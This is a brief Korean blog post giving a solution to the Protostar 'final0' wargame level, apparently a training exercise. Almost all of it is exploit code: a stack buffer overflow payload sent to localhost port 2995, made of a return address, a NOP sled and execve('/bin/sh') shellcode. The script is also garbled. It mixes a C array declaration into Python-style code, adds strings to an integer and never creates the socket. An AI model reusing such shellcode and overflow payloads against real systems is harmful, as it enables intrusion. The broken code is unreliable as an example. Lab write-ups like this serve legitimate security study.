카테고리 없음

protostar final0

HSr00t 2017. 2. 8. 00:11


nop sleed 


-exploit code-


host = '127.0.0.1'

port = 2995


s.connect(host, port)


buffer=532

code=0


char shell[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"


code+=buffer

code+="\x60\xfc\xff\xbf"

code+="\x90"*30

code+=shell


s.send(code)